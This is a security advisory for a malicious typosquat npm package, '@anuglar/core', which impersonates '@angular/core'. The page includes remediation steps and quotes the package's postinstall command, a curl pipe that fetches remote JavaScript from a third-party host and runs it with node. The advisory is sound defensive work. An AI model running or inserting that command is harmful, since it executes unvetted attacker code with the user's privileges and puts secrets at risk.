MAL-2026-17541 Malicious code in @anuglar/core (npm)
Malicious package
Published
MAL-2026-17541 is a malicious package: @anuglar/core (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17541/ (Markdown: https://insights.sbomify.com/MAL-2026-17541/index.md)
- Package
- @anuglar/core
- Registry
- npm
What is MAL-2026-17541?
MAL-2026-17541 is a malicious package in @anuglar/core, published on 5 Oct 2026.
Official description
Package name '@anuglar/core' is a one-character transposition of '@angular/core' and copies the legitimate package's description ('Angular - the core framework'), author ('angular'), and repository URL to impersonate it. The package.json postinstall lifecycle script runs
curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading arbitrary JavaScript from a third-party host (gitflic.ru, fetched via web.archive.org) and piping it directly into node for execution on npm install. The fetched code is unpinned, unhashed, and not shipped in the tarball, so its contents can change at any time and are executed with the privileges of the installing user. The script also references ps and id for host reconnaissance.What should I do about MAL-2026-17541?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.